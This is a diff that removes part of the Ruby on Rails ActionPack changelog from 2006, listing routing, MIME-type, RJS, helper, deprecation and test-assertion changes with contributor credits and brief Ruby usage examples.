-* Add JavaScriptGenerator#literal for wrapping a string in an object whose #to_json is the string itself. [Sam Stephenson]
-
-* Add <%= escape_once html %> to escape html while leaving any currently escaped entities alone.  Fix button_to double-escaping issue. [Rick Olson]
-
-* Fix double-escaped entities, such as &amp;amp;, &amp;#123;, etc. [Rick Olson]
-
-* Fix routing to correctly determine when generation fails. Closes #6300. [psross].
-
-* Fix broken assert_generates when extra keys are being checked. [Jamis Buck]
-
-* Replace KCODE checks with String#chars for truncate.  Closes #6385 [Manfred Stienstra]
-
-* Make page caching respect the format of the resource that is being requested even if the current route is the default route so that, e.g. posts.rss is not transformed by url_for to '/' and subsequently cached as '/index.html' when it should be cached as '/posts.rss'.  [Marcel Molina Jr.]
-
-* Use String#chars in TextHelper::excerpt. Closes #6386 [Manfred Stienstra]
-
-* Fix relative URL root matching problems. [Mark Imbriaco]
-
-* Fix filter skipping in controller subclasses.  #5949, #6297, #6299 [Martin Emde]
-
-* render_text may optionally append to the response body. render_javascript appends by default. This allows you to chain multiple render :update calls by setting @performed_render = false between them (awaiting a better public API).  [Jeremy Kemper]
-
-* Rename test assertion to prevent shadowing. Closes #6306. [psross]
-
-* Fixed that NumberHelper#number_to_delimiter should respect precision of higher than two digits #6231 [Philip Hallstrom]
-
-* Fixed that FormHelper#radio_button didn't respect an :id being passed in #6266 [evansj]
-
-* Added an html_options hash parameter to javascript_tag() and update_page_tag() helpers #6311 [tzaharia]. Example:
-
-    update_page_tag :defer => 'true' { |page| ... }
-
-  Gives:
-
-    <script defer="true" type="text/javascript">...</script>
-    
-  Which is needed for dealing with the IE6 DOM when it's not yet fully loaded.
-
-* Fixed that rescue template path shouldn't be hardcoded, then it's easier to hook in your own #6295 [Mike Naberezny]
-
-* Fixed escaping of backslashes in JavaScriptHelper#escape_javascript #6302 [sven@c3d2.de]
-
-* Fixed that some 500 rescues would cause 500's themselves because the response had not yet been generated #6329 [cmselmer]
-
-* respond_to :html doesn't assume .rhtml.  #6281 [Hampton Catlin]
-
-* Fixed some deprecation warnings in ActionPack [Rick Olson]
-
-* assert_select_rjs decodes escaped unicode chars since the Javascript generators encode them.  #6240 [japgolly]
-
-* Deprecation: @cookies, @headers, @request, @response will be removed after 1.2. Use the corresponding method instead.  [Jeremy Kemper]
-
-* Make the :status parameter expand to the default message for that status code if it is an integer. Also support symbol statuses. [Jamis Buck]. Examples:
-
-    head :status => 404        # expands to "404 Not Found"
-    head :status => :not_found # expands to "404 Not Found"
-    head :status => :created   # expands to "201 Created"
-
-* Add head(options = {}) for responses that have no body. [Jamis Buck]. Examples:
-
-    head :status => 404 # return an empty response with a 404 status
-    head :location => person_path(@person), :status => 201
-
-* Fix bug that kept any before_filter except the first one from being able to halt the before_filter chain.  [Rick Olson]
-
-* strip_links is case-insensitive.  #6285 [tagoh, Bob Silva]
-
-* Clear the cache of possible controllers whenever Routes are reloaded. [Nicholas Seckar]
-
-* Filters overhaul including meantime filter support using around filters + blocks.  #5949 [Martin Emde, Roman Le Negrate, Stefan Kaes, Jeremy Kemper]
-
-* Update CGI process to allow sessions to contain namespaced models. Closes #4638. [dfelstead@site5.com]
-
-* Fix routing to respect user provided requirements and defaults when assigning default routing options (such as :action => 'index'). Closes #5950. [Nicholas Seckar]
-
-* Rescue Errno::ECONNRESET to handle an unexpectedly closed socket connection. Improves SCGI reliability.  #3368, #6226 [sdsykes, fhanshaw@vesaria.com]
-
-* Added that respond_to blocks will automatically set the content type to be the same as is requested [David Heinemeier Hansson]. Examples:
-
-    respond_to do |format|
-      format.html { render :text => "I'm being sent as text/html" }
-      format.rss  { render :text => "I'm being sent as application/rss+xml" }
-      format.atom { render :text => "I'm being sent as application/xml", :content_type => Mime::XML }
-    end
-
-* Added utf-8 as the default charset for all renders. You can change this default using ActionController::Base.default_charset=(encoding) [David Heinemeier Hansson]
-
-* Added proper getters and setters for content type and charset [David Heinemeier Hansson]. Example of what we used to do:
-
-    response.headers["Content-Type"] = "application/atom+xml; charset=utf-8"
-  
-  ...now:
-  
-    response.content_type = Mime::ATOM
-    response.charset      = "utf-8"
-
-* Declare file extensions exempt from layouts.  #6219 [brandon]
-    Example: ActionController::Base.exempt_from_layout 'rpdf'
-
-* Add chained replace/update support for assert_select_rjs [Rick Olson]
-
-    Given RJS like...
-
-      page['test1'].replace "<div id=\"1\">foo</div>"
-      page['test2'].replace_html "<div id=\"2\">foo</div>"
-
-    Test it with...
-
-      assert_select_rjs :chained_replace
-      assert_select_rjs :chained_replace, "test1"
-
-      assert_select_rjs :chained_replace_html
-      assert_select_rjs :chained_replace_html, "test2"
-
-* Load helpers in alphabetical order for consistency. Resolve cyclic javascript_helper dependency.  #6132, #6178 [choonkeat@gmail.com]
-
-* Skip params with empty names, such as the &=Save query string from <input type="submit"/>.  #2569 [Manfred Stienstra, raphinou@yahoo.com]
-
-* Fix assert_tag so that :content => "foo" does not match substrings, but only exact strings. Use :content => /foo/ to match substrings. #2799 [Eric Hodel]
-
-* Update JavaScriptGenerator#show/hide/toggle/remove to new Prototype syntax for multiple ids,  #6068 [petermichaux@gmail.com]
-
-* Update UrlWriter to support :only_path. [Nicholas Seckar, Dave Thomas]
-
-* Fixed JavaScriptHelper#link_to_function and JavaScriptHelper#button_to_function to have the script argument be optional [David Heinemeier Hansson]. So what used to require a nil, like this:
-
-    link_to("Hider", nil, :class => "hider_link") { |p| p[:something].hide }
-  
-  ...can be written like this:
-
-    link_to("Hider", :class => "hider_link") { |p| p[:something].hide }
-
-* Added access to nested attributes in RJS #4548 [richcollins@gmail.com]. Examples:
-
-    page['foo']['style']                  # => $('foo').style;
-    page['foo']['style']['color']         # => $('blank_slate').style.color;
-    page['foo']['style']['color'] = 'red' # => $('blank_slate').style.color = 'red';
-    page['foo']['style'].color = 'red'    # => $('blank_slate').style.color = 'red';
-
-* Fixed that AssetTagHelper#image_tag and others using compute_public_path should not modify the incoming source argument (closes #5102) [eule@space.ch]
-
-* Deprecated the auto-appending of .png to AssetTagHelper#image_tag calls that doesn't have an extension [David Heinemeier Hansson] 
-
-* Fixed FormOptionsHelper#select to respect :selected value #5813
-
-* Fixed TextHelper#simple_format to deal with multiple single returns within a single paragraph #5835 [moriq@moriq.com]
-
-* Fixed TextHelper#pluralize to handle 1 as a string #5909 [rails@bencurtis.com]
-
-* Improved resolution of DateHelper#distance_of_time_in_words for better precision #5994 [Bob Silva]
-
-* Changed that uncaught exceptions raised any where in the application will cause RAILS_ROOT/public/500.html to be read and shown instead of just the static "Application error (Rails)" [David Heinemeier Hansson]
-
-* Added deprecation language for pagination which will become a plugin by Rails 2.0 [David Heinemeier Hansson]
-
-* Added deprecation language for in_place_editor and auto_complete_field that both pieces will become plugins by Rails 2.0 [David Heinemeier Hansson]
-
-* Deprecated all of ActionController::Dependencies. All dependency loading is now handled from Active Support [David Heinemeier Hansson]
-
-* Added assert_select* for CSS selector-based testing (deprecates assert_tag) #5936 [assaf.arkin@gmail.com]
-
-* radio_button_tag generates unique id attributes.  #3353 [Bob Silva, somekool@gmail.com]
-
-* strip_tags passes through blank args such as nil or "".  #2229, #6702 [duncan@whomwah.com, dharana]
-
-* Cleanup assert_tag :children counting.  #2181 [jamie@bravenet.com]
-
-* button_to accepts :method so you can PUT and DELETE with it.  #6005 [Dan Webb]
-
-* Update sanitize text helper to strip plaintext tags, and <img src="javascript:bang">.  [Rick Olson]
-
-* Add routing tests to assert that RoutingError is raised when conditions aren't met.  Closes #6016 [Nathan Witmer]
-
-* Make auto_link parse a greater subset of valid url formats. [Jamis Buck]
-
-* Integration tests: headers beginning with X aren't excluded from the HTTP_ prefix, so X-Requested-With becomes HTTP_X_REQUESTED_WITH as expected. [Mike Clark]
-
-* Switch to using FormEncodedPairParser for parsing request parameters. [Nicholas Seckar, David Heinemeier Hansson]
-
-* respond_to .html now always renders #{action_name}.rhtml so that registered custom template handlers do not override it in priority. Custom mime types require a block and throw proper error now. [Tobias Lütke]
-
-* Deprecation: test deprecated instance vars in partials. [Jeremy Kemper]
-
-* Add UrlWriter to allow writing urls from Mailers and scripts. [Nicholas Seckar]
-
-* Relax Routing's anchor pattern warning; it was preventing use of [^/] inside restrictions. [Nicholas Seckar]
-
-* Add controller_paths variable to Routing. [Nicholas Seckar]
-
-* Fix assert_redirected_to issue with named routes for module controllers.  [Rick Olson]
-
-* Tweak RoutingError message to show option diffs, not just missing named route significant keys. [Rick Olson]
-
-* Invoke method_missing directly on hidden actions. Closes #3030. [Nicholas Seckar]
-
-* Add RoutingError exception when RouteSet fails to generate a path from a Named Route. [Rick Olson]
-
-* Replace Reloadable with Reloadable::Deprecated. [Nicholas Seckar]
-
-* Deprecation: check whether instance variables have been monkeyed with before assigning them to deprecation proxies. Raises a RuntimeError if so. [Jeremy Kemper]
-
-* Add support for the param_name parameter to the auto_complete_field helper. #5026 [david.a.williams@gmail.com]
-
-* Deprecation! @params, @session, @flash will be removed after 1.2. Use the corresponding instance methods instead. You'll get printed warnings during tests and logged warnings in dev mode when you access either instance variable directly. [Jeremy Kemper]
-
-* Make Routing noisy when an anchor regexp is assigned to a segment. #5674 [François Beausoleil]
-
-* Added months and years to the resolution of DateHelper#distance_of_time_in_words, such that "60 days ago" becomes "2 months ago" #5611 [pjhyett@gmail.com]
-
-* Make controller_path available as an instance method.  #5724 [jmckible@gmail.com]
-
-* Update query parser to support adjacent hashes. [Nicholas Seckar]
-
-* Make action caching aware of different formats for the same action so that, e.g.  foo.xml is cached separately from foo.html. Implicitly set content type when reading in cached content with mime revealing extensions so the entire onous isn't on the webserver. [Marcel Molina Jr.]
-
-* Restrict Request Method hacking with ?_method to POST requests.  [Rick Olson]
-
-* Fixed the new_#{resource}_url route and added named route tests for Simply Restful.  [Rick Olson]
-
-* Added map.resources from the Simply Restful plugin [David Heinemeier Hansson]. Examples (the API has changed to use plurals!):
-
-    map.resources :messages
-    map.resources :messages, :comments
-    map.resources :messages, :new => { :preview => :post }
-
-* Fixed that integration simulation of XHRs should set Accept header as well [Edward Frederick]
-
-* TestRequest#reset_session should restore a TestSession, not a hash [Michael Koziarski]
-
-* Don't search a load-path of '.' for controller files [Jamis Buck]
-
-* Update integration.rb to require test_process explicitly instead of via Dependencies. [Nicholas Seckar]
-
-* Fixed that you can still access the flash after the flash has been reset in reset_session.  Closes #5584 [lmarlow]
-
-* Allow form_for and fields_for to work with indexed form inputs.  [Jeremy Kemper, Matt Lyon]
-
-  <% form_for 'post[]', @post do |f| -%>
-  <% end -%>
-
-* Remove leak in development mode by replacing define_method with module_eval. [Nicholas Seckar]
-
-* Provide support for decimal columns to form helpers. Closes #5672. [Dave Thomas]
-
-* Pass :id => nil or :class => nil to error_messages_for to supress that html attribute. #3586 [olivier_ansaldi@yahoo.com]
-
-* Reset @html_document between requests so assert_tag works. #4810 [Jarkko Laine, easleydp@gmail.com]
-
-* Integration tests behave well with render_component. #4632 [edward.frederick@revolution.com, dev.rubyonrails@maxdunn.com]
-
-* Added exception handling of missing layouts #5373 [chris@ozmm.org]
-
-* Fixed that real files and symlinks should be treated the same when compiling templates #5438 [zachary@panandscan.com]
-
-* Fixed that the flash should be reset when reset_session is called #5584 [Shugo Maeda]
-
-* Added special case for "1 Byte" in NumberHelper#number_to_human_size #5593 [murpyh@rubychan.de]
-
-* Fixed proper form-encoded parameter parsing for requests with "Content-Type: application/x-www-form-urlencoded; charset=utf-8" (note the presence of a charset directive) [David Heinemeier Hansson]
-
-* Add route_name_path method to generate only the path for a named routes. For example, map.person will add person_path. [Nicholas Seckar]
-
-* Avoid naming collision among compiled view methods. [Jeremy Kemper]
-
-* Fix CGI extensions when they expect string but get nil in Windows. Closes #5276 [Mislav Marohnić]
-
-* Determine the correct template_root for deeply nested components.  #2841 [s.brink@web.de]
-
-* Fix that routes with *path segments in the recall can generate URLs. [Rick Olson]
-
-* Fix strip_links so that it doesn't hang on multiline <acronym> tags [Jamis Buck]
-
-* Remove problematic control chars in rescue template. #5316 [Stefan Kaes]
-
-* Make sure passed routing options are not mutated by routing code. #5314 [Blair Zajac]
-
-* Make sure changing the controller from foo/bar to bing/bang does not change relative to foo. [Jamis Buck]
-
-* Escape the path before routing recognition. #3671
-
-* Make sure :id and friends are unescaped properly. #5275 [me@julik.nl]
-
-* Rewind readable CGI params so others may reread them (such as CGI::Session when passing the session id in a multipart form).  #210 [mklame@atxeu.com, matthew@walker.wattle.id.au]
-
-* Added Mime::TEXT (text/plain) and Mime::ICS (text/calendar) as new default types [David Heinemeier Hansson]
-
-* Added Mime::Type.register(string, symbol, synonyms = []) for adding new custom mime types [David Heinemeier Hansson]. Example: Mime::Type.register("image/gif", :gif)
-
-* Added support for Mime objects in render :content_type option [David Heinemeier Hansson]. Example: render :text => some_atom, :content_type => Mime::ATOM
-
-* Add :status option to send_data and send_file. Defaults to '200 OK'.  #5243 [Manfred Stienstra <m.stienstra@fngtps.com>]
-
-* Routing rewrite. Simpler, faster, easier to understand. The published API for config/routes.rb is unchanged, but nearly everything else is different, so expect breakage in plugins and libs that try to fiddle with routes. [Nicholas Seckar, Jamis Buck]
-
-  map.connect '/foo/:id', :controller => '...', :action => '...'
-  map.connect '/foo/:id.:format', :controller => '...', :action => '...'
-  map.connect '/foo/:id', ..., :conditions => { :method => :get }
-
-* Cope with missing content type and length headers. Parse parameters from multipart and urlencoded request bodies only. [Jeremy Kemper]
-
-* Accept multipart PUT parameters. #5235 [guy.naor@famundo.com]
-
-* Added interrogation of params[:format] to determine Accept type. If :format is specified and matches a declared extension, like "rss" or "xml", that mime type will be put in front of the accept handler. This means you can link to the same action from different extensions and use that fact to determine output [David Heinemeier Hansson]. Example:
-
-  class WeblogController < ActionController::Base
-    def index
-      @posts = Post.find :all
-      
-      respond_to do |format|
-        format.html
-        format.xml { render :xml => @posts.to_xml }
-        format.rss { render :action => "feed.rxml" }
-      end
-    end
-  end
-  
-  # returns HTML when requested by a browser, since the browser
-  # has the HTML mimetype at the top of its priority list
-  Accept: text/html
-  GET /weblog 
-  
-  # returns the XML 
-  Accept: application/xml
-  GET /weblog 
-
-  # returns the HTML 
-  Accept: application/xml
-  GET /weblog.html
-
-  # returns the XML
-  Accept: text/html
-  GET /weblog.xml
-  
-  All this relies on the fact that you have a route that includes .:format.
-  
-* Expanded :method option in FormTagHelper#form_tag, FormHelper#form_for, PrototypeHelper#remote_form_for, PrototypeHelper#remote_form_tag, and PrototypeHelper#link_to_remote to allow for verbs other than GET and POST by automatically creating a hidden form field named _method, which will simulate the other verbs over post [David Heinemeier Hansson]
-
-* Added :method option to UrlHelper#link_to, which allows for using other verbs than GET for the link. This replaces the :post option, which is now deprecated. Example: link_to "Destroy", person_url(:id => person), :method => :delete [David Heinemeier Hansson]
-
-* follow_redirect doesn't complain about being redirected to the same controller. #5153 [dymo@mk.ukrtelecom.ua]
-
-* Add layout attribute to response object with the name of the layout that was rendered, or nil if none rendered. [Kevin Clark]
-
-* Fix NoMethodError when parsing params like &&. [Adam Greenfield]
-
-* form.text_area handles the :size option just like the original text_area (:size => '60x10' becomes cols="60" rows="10").  [Jeremy Kemper]
-
-* Excise ingrown code from FormOptionsHelper#options_for_select. #5008 [anonymous]
-
-* Small fix in routing to allow dynamic routes (broken after [4242]) [Rick Olson]
-
-    map.connect '*path', :controller => 'files', :action => 'show'
-
-* Use #flush between switching from #write to #syswrite. Closes #4907. [Blair Zajac <blair@orcaware.com>]
-
-* Allow error_messages_for to report errors for multiple objects, as well as support for customizing the name of the object in the error summary header. Closes #4186. [andrew@redlinesoftware.com, Marcel Molina Jr.]
-  
-  error_messages_for :account, :user, :subscription, :object_name => :account
-
-* Fix assert_redirected_to tests according to real-world usage.  Also, don't fail if you add an extra :controller option: [Rick Olson]
-
-    redirect_to :action => 'new'
-    assert_redirected_to :controller => 'monkeys', :action => 'new'
-
-* Diff compared routing options.  Allow #assert_recognizes to take a second arg as a hash to specify optional request method [Rick Olson]
-
-    assert_recognizes({:controller => 'users', :action => 'index'}, 'users')
-    assert_recognizes({:controller => 'users', :action => 'create'}, {:path => 'users', :method => :post})
-
-* Diff compared options with #assert_redirected_to [Rick Olson]
-
-* Add support in routes for semicolon delimited "subpaths", like /books/:id;:action [Jamis Buck]
-
-* Change link_to_function and button_to_function to (optionally) take an update_page block instead of a JavaScript string. Closes #4804. [zraii@comcast.net, Sam Stephenson]
-
-* Modify routing so that you can say :require => { :method => :post } for a route, and the route will never be selected unless the request method is POST. Only works for route recognition, not for route generation. [Jamis Buck]
-
-* Added :add_headers option to verify which merges a hash of name/value pairs into the response's headers hash if the prerequisites cannot be satisfied. [Sam Stephenson]
-  ex. verify :only => :speak, :method => :post, 
-             :render => { :status => 405, :text => "Must be post" }, 
-             :add_headers => { "Allow" => "POST" }
-
-
-*1.12.5* (August 10th, 2006)
-
-* Updated security fix
-
-
-*1.12.4* (August 8th, 2006)
-
-* Cache CgiRequest#request_parameters so that multiple calls don't re-parse multipart data. [Rick Olson]
-
-* Fixed that remote_form_for can leave out the object parameter and default to the instance variable of the object_name, just like form_for [David Heinemeier Hansson]
-
-* Added ActionController.filter_parameter_logging that makes it easy to remove passwords, credit card numbers, and other sensitive information from being logged when a request is handled.  #1897 [jeremye@bsa.ca.gov]
-
-* Fixed that real files and symlinks should be treated the same when compiling templates.  #5438 [zachary@panandscan.com]
-
-* Add :status option to send_data and send_file. Defaults to '200 OK'.  #5243 [Manfred Stienstra <m.stienstra@fngtps.com>]
-
-* Update documentation for erb trim syntax. #5651 [matt@mattmargolis.net]
-
-* Short documentation to mention use of Mime::Type.register. #5710 [choonkeat@gmail.com]
-
-
-*1.12.3* (June 28th, 2006)
-
-* Fix broken traverse_to_controller. We now:
-  Look for a _controller.rb file under RAILS_ROOT to load.
-  If we find it, we require_dependency it and return the controller it defined. (If none was defined we stop looking.)
-  If we don't find it, we look for a .rb file under RAILS_ROOT to load. If we find it, and it loads a constant we keep looking.
-  Otherwise we check to see if a directory of the same name exists, and if it does we create a module for it.
-
-
-*1.12.2* (June 27th, 2006)
-
-* Refinement to avoid exceptions in traverse_to_controller.
-
-* (Hackish) Fix loading of arbitrary files in Ruby's load path by traverse_to_controller. [Nicholas Seckar]
-
-
-*1.12.1* (April 6th, 2006)
-
-* Fixed that template extensions would be cached development mode #4624 [Stefan Kaes]
-
-* Update to Prototype 1.5.0_rc0 [Sam Stephenson]
-
-* Honor skipping filters conditionally for only certain actions even when the parent class sets that filter to conditionally be executed only for the same actions. #4522 [Marcel Molina Jr.]
-
-* Delegate xml_http_request in integration tests to the session instance. [Jamis Buck]
-
-* Update the diagnostics template skip the useless '<controller not set>' text. [Nicholas Seckar]
-
-* CHANGED DEFAULT: Don't parse YAML input by default, but keep it available as an easy option [David Heinemeier Hansson]
-
-* Add additional autocompleter options [aballai, Thomas Fuchs]
-
-* Fixed fragment caching of binary data on Windows #4493 [bellis@deepthought.org]
-
-* Applied Prototype $() performance patches (#4465, #4477) and updated script.aculo.us [Sam Stephenson, Thomas Fuchs]
-
-* Added automated timestamping to AssetTagHelper methods for stylesheets, javascripts, and images when Action Controller is run under Rails [David Heinemeier Hansson]. Example:
-
-    image_tag("rails.png") # => '<img alt="Rails" src="/images/rails.png?1143664135" />'
-  
-  ...to avoid frequent stats (not a problem for most people), you can set RAILS_ASSET_ID in the ENV to avoid stats:
-
-    ENV["RAILS_ASSET_ID"] = "2345"
-    image_tag("rails.png") # => '<img alt="Rails" src="/images/rails.png?2345" />'
-
-  This can be used by deployment managers to set the asset id by application revision
-
-
-*1.12.0* (March 27th, 2006)
-
-* Add documentation for respond_to. [Jamis Buck]
-
-* Fixed require of bluecloth and redcloth when gems haven't been loaded #4446 [murphy@cYcnus.de]
-
-* Update to Prototype 1.5.0_pre1 [Sam Stephenson]
-
-* Change #form_for and #fields_for so that the second argument is not required [Dave Thomas]
-
-    <% form_for :post, @post, :url => { :action => 'create' } do |f| -%>
-    
-  becomes...
-  
-    <% form_for :post, :url => { :action => 'create' } do |f| -%>
-
-* Update to script.aculo.us 1.6 [Thomas Fuchs]
-
-* Enable application/x-yaml processing by default [Jamis Buck]
-
-* Fix double url escaping of remote_function. Add :escape => false option to ActionView's url_for. [Nicholas Seckar]
-
-* Add :script option to in_place_editor to support evalScripts (closes #4194) [Cody Fauser]
-
-* Fix mixed case enumerable methods in the JavaScript Collection Proxy (closes #4314) [Cody Fauser]
-
-* Undo accidental escaping for mail_to; add regression test. [Nicholas Seckar]
-
-* Added nicer message for assert_redirected_to (closes #4294) [court3nay]
-
-    assert_redirected_to :action => 'other_host', :only_path => false
-    
-  when it was expecting...
-  
-    redirected_to :action => 'other_host', :only_path => true, :host => 'other.test.host'
-  
-  gives the error message...
-
-    response is not a redirection to all of the options supplied (redirection is <{:only_path=>false, :host=>"other.test.host", :action=>"other_host"}>), difference: <{:only_path=>"true", :host=>"other.test.host"}>
-
-* Change url_for to escape the resulting URLs when called from a view. [Nicholas Seckar, coffee2code]
-
-* Added easy support for testing file uploads with fixture_file_upload #4105 [turnip@turnipspatch.com]. Example:
-
-    # Looks in Test::Unit::TestCase.fixture_path + '/files/spongebob.png'
-    post :change_avatar, :avatar => fixture_file_upload('/files/spongebob.png', 'image/png')
-
-* Fixed UrlHelper#current_page? to behave even when url-escaped entities are present #3929 [jeremy@planetargon.com]
-
-* Add ability for relative_url_root to be specified via an environment variable RAILS_RELATIVE_URL_ROOT. [isaac@reuben.com, Nicholas Seckar]
-
-* Fixed link_to "somewhere", :post => true to produce valid XHTML by using the parentnode instead of document.body for the instant form #3007 [Bob Silva]
-
-* Added :function option to PrototypeHelper#observe_field/observe_form that allows you to call a function instead of submitting an ajax call as the trigger #4268 [jonathan@daikini.com]
-
-* Make Mime::Type.parse consider q values (if any) [Jamis Buck]
-
-* XML-formatted requests are typecast according to "type" attributes for :xml_simple [Jamis Buck]
-
-* Added protection against proxy setups treating requests as local even when they're not #3898 [Steve Purcell]
-
-* Added TestRequest#raw_post that simulate raw_post from CgiRequest #3042 [François Beausoleil]
-
-* Underscore dasherized keys in formatted requests [Jamis Buck]
-
-* Add MimeResponds::Responder#any for managing multiple types with identical responses [Jamis Buck]
-
-* Make the xml_http_request testing method set the HTTP_ACCEPT header [Jamis Buck]
-
-* Add Verification to scaffolds.   Prevent destructive actions using GET [Michael Koziarski]
-
-* Avoid hitting the filesystem when using layouts by using a File.directory? cache. [Stefan Kaes, Nicholas Seckar]
-
-* Simplify ActionController::Base#controller_path [Nicholas Seckar]
-
-* Added simple alert() notifications for RJS exceptions when config.action_view.debug_rjs = true. [Sam Stephenson]
-
-* Added :content_type option to render, so you can change the content type on the fly [David Heinemeier Hansson]. Example: render :action => "atom.rxml", :content_type => "application/atom+xml"
-
-* CHANGED DEFAULT: The default content type for .rxml is now application/xml instead of type/xml, see http://www.xml.com/pub/a/2004/07/21/dive.html for reason [David Heinemeier Hansson]
-
-* Added option to render action/template/file of a specific extension (and here by template type). This means you can have multiple templates with the same name but a different extension [David Heinemeier Hansson]. Example:
-  
-    class WeblogController < ActionController::Base
-      def index
-        @posts = Post.find :all
-  
-        respond_to do |type|
-          type.html # using defaults, which will render weblog/index.rhtml
-          type.xml  { render :action => "index.rxml" }
-          type.js   { render :action => "index.rjs" }
-        end
-      end
-    end
-
-* Added better support for using the same actions to output for different sources depending on the Accept header [David Heinemeier Hansson]. Example:
-
-    class WeblogController < ActionController::Base
-      def create
-        @post = Post.create(params[:post])
-      
-        respond_to do |type|
-          type.js   { render }  # renders create.rjs
-          type.html { redirect_to :action => "index" }
-          type.xml  do
-            headers["Location"] = url_for(:action => "show", :id => @post)
-            render(:nothing, :status => "201 Created")
-          end
-        end
-      end
-    end
-
-* Added Base#render(:xml => xml) that works just like Base#render(:text => text), but sets the content-type to text/xml and the charset to UTF-8 [David Heinemeier Hansson]
-
-* Integration test's url_for now runs in the context of the last request (if any) so after post /products/show/1 url_for :action => 'new' will yield /product/new  [Tobias Lütke]
-
-* Re-added mixed-in helper methods for the JavascriptGenerator.  Moved JavascriptGenerators methods to a module that is mixed in after the helpers are added.  Also fixed that variables set in the enumeration methods like #collect are set correctly.  Documentation added for the enumeration methods [Rick Olson].  Examples:
-
-    page.select('#items li').collect('items') do |element|
-      element.hide
-    end
-    # => var items = $$('#items li').collect(function(value, index) { return value.hide(); });
-
-* Added plugin support for parameter parsers, which allows for better support for REST web services. By default, posts submitted with the application/xml content type is handled by creating a XmlSimple hash with the same name as the root element of the submitted xml. More handlers can easily be registered like this:
-
-    # Assign a new param parser to a new content type
-    ActionController::Base.param_parsers['application/atom+xml'] = Proc.new do |data| 
-      node = REXML::Document.new(post) 
-     { node.root.name => node.root }
-    end
-
-    # Assign the default XmlSimple to a new content type
-    ActionController::Base.param_parsers['application/backpack+xml'] = :xml_simple
- 
-Default YAML web services were retired, ActionController::Base.param_parsers carries an example which shows how to get this functionality back. As part of this new plugin support, request.[formatted_post?, xml_post?, yaml_post? and post_format] were all deprecated in favor of request.content_type [Tobias Lütke]
- 
-* Fixed Effect.Appear in effects.js to work with floats in Safari #3524, #3813, #3044 [Thomas Fuchs]
-
-* Fixed that default image extension was not appended when using a full URL with AssetTagHelper#image_tag #4032, #3728 [rubyonrails@beautifulpixel.com]
-
-* Added that page caching will only happen if the response code is less than 400 #4033 [g.bucher@teti.ch]
-
-* Add ActionController::IntegrationTest to allow high-level testing of the way the controllers and routes all work together [Jamis Buck]
-
-* Added support to AssetTagHelper#javascript_include_tag for having :defaults appear anywhere in the list, so you can now make one call ala javascript_include_tag(:defaults, "my_scripts") or javascript_include_tag("my_scripts", :defaults) depending on how you want the load order #3506 [Bob Silva]
-
-* Added support for visual effects scoped queues to the visual_effect helper #3530 [Abdur-Rahman Advany]
-
-* Added .rxml (and any non-rhtml template, really) supportfor CaptureHelper#content_for and CaptureHelper#capture #3287 [Brian Takita]
-
-* Added script.aculo.us drag and drop helpers to RJS [Thomas Fuchs]. Examples:
-
-    page.draggable 'product-1'
-    page.drop_receiving 'wastebasket', :url => { :action => 'delete' }
-    page.sortable 'todolist', :url => { action => 'change_order' }
-
-* Fixed that form elements would strip the trailing [] from the first parameter #3545 [ruby@bobsilva.com]
-
-* During controller resolution, update the NameError suppression to check for the expected constant. [Nicholas Seckar]
-
-* Update script.aculo.us to V1.5.3 [Thomas Fuchs]
-
-* Added various InPlaceEditor options, #3746, #3891, #3896, #3906 [Bill Burcham, ruairi, sl33p3r]
-
-* Added :count option to pagination that'll make it possible for the ActiveRecord::Base.count call to using something else than * for the count. Especially important for count queries using DISTINCT #3839 [Stefan Kaes]
-
-* Update script.aculo.us to V1.5.2 [Thomas Fuchs]
-
-* Added element and collection proxies to RJS [David Heinemeier Hansson]. Examples:
-
-    page['blank_slate']                  # => $('blank_slate');
-    page['blank_slate'].show             # => $('blank_slate').show();
-    page['blank_slate'].show('first').up # => $('blank_slate').show('first').up();
-    
-    page.select('p')                      # => $$('p');
-    page.select('p.welcome b').first      # => $$('p.welcome b').first();
-    page.select('p.welcome b').first.hide # => $$('p.welcome b').first().hide();
-
-* Add JavaScriptGenerator#replace for replacing an element's "outer HTML". #3246 [tom@craz8.com, Sam Stephenson]
-
-* Remove over-engineered form_for code for a leaner implementation. [Nicholas Seckar]
-
-* Document form_for's :html option. [Nicholas Seckar]
-
-* Major components cleanup and speedup.  #3527 [Stefan Kaes]
-
-* Fix problems with pagination and :include.  [Kevin Clark]
-
-* Add ActiveRecordTestCase for testing AR integration. [Kevin Clark]
-
-* Add Unit Tests for pagination [Kevin Clark]
-
-* Add :html option for specifying form tag options in form_for. [Sam Stephenson]
-
-* Replace dubious controller parent class in filter docs. #3655, #3722  [info@rhalff.com, eigentone@gmail.com]
-
-* Don't interpret the :value option on text_area as an html attribute. Set the text_area's value. #3752 [gabriel@gironda.org]
-
-* Fix remote_form_for creates a non-ajax form. [Rick Olson]
-
-* Don't let arbitrary classes match as controllers -- a potentially dangerous bug. [Nicholas Seckar]
-
-* Fix Routing tests. Fix routing where failing to match a controller would prevent the rest of routes from being attempted. [Nicholas Seckar]
-
-* Add :builder => option to form_for and friends. [Nicholas Seckar, Rick Olson]
-
-* Fix controller resolution to avoid accidentally inheriting a controller from a parent module. [Nicholas Seckar]
-
-* Set sweeper's @controller to nil after a request so that the controller may be collected between requests. [Nicholas Seckar]
-
-* Subclasses of ActionController::Caching::Sweeper should be Reloadable. [Rick Olson]
-
-* Document the :xhr option for verifications. #3666 [leeo]
-
-* Added :only and :except controls to skip_before/after_filter just like for when you add filters [David Heinemeier Hansson]
-
-* Ensure that the instance variables are copied to the template when performing render :update. [Nicholas Seckar]
-
-* Add the ability to call JavaScriptGenerator methods from helpers called in update blocks. [Sam Stephenson]  Example:
-  module ApplicationHelper
-    def update_time
-      page.replace_html 'time', Time.now.to_s(:db)
-      page.visual_effect :highlight, 'time'
-    end
-  end
-
-  class UserController < ApplicationController
-    def poll
-      render :update { |page| page.update_time }
-    end
-  end
-
-* Add render(:update) to ActionView::Base. [Sam Stephenson]
-
-* Fix render(:update) to not render layouts. [Sam Stephenson]
-
-* Fixed that SSL would not correctly be detected when running lighttpd/fcgi behind lighttpd w/mod_proxy #3548 [Steve Purcell]
-
-* Added the possibility to specify atomatic expiration for the memcachd session container #3571 [Stefan Kaes]
-
-* Change layout discovery to take into account the change in semantics with File.join and nil arguments. [Marcel Molina Jr.]
-
-* Raise a RedirectBackError if redirect_to :back is called when there's no HTTP_REFERER defined #3049 [Kevin Clark]
-
-* Treat timestamps like datetimes for scaffolding purposes #3388 [Maik Schmidt]
-
-* Fix IE bug with link_to "something", :post => true #3443 [Justin Palmer]
-
-* Extract Test::Unit::TestCase test process behavior into an ActionController::TestProcess module. [Sam Stephenson]
-
-* Pass along blocks from render_to_string to render. [Sam Stephenson]
-
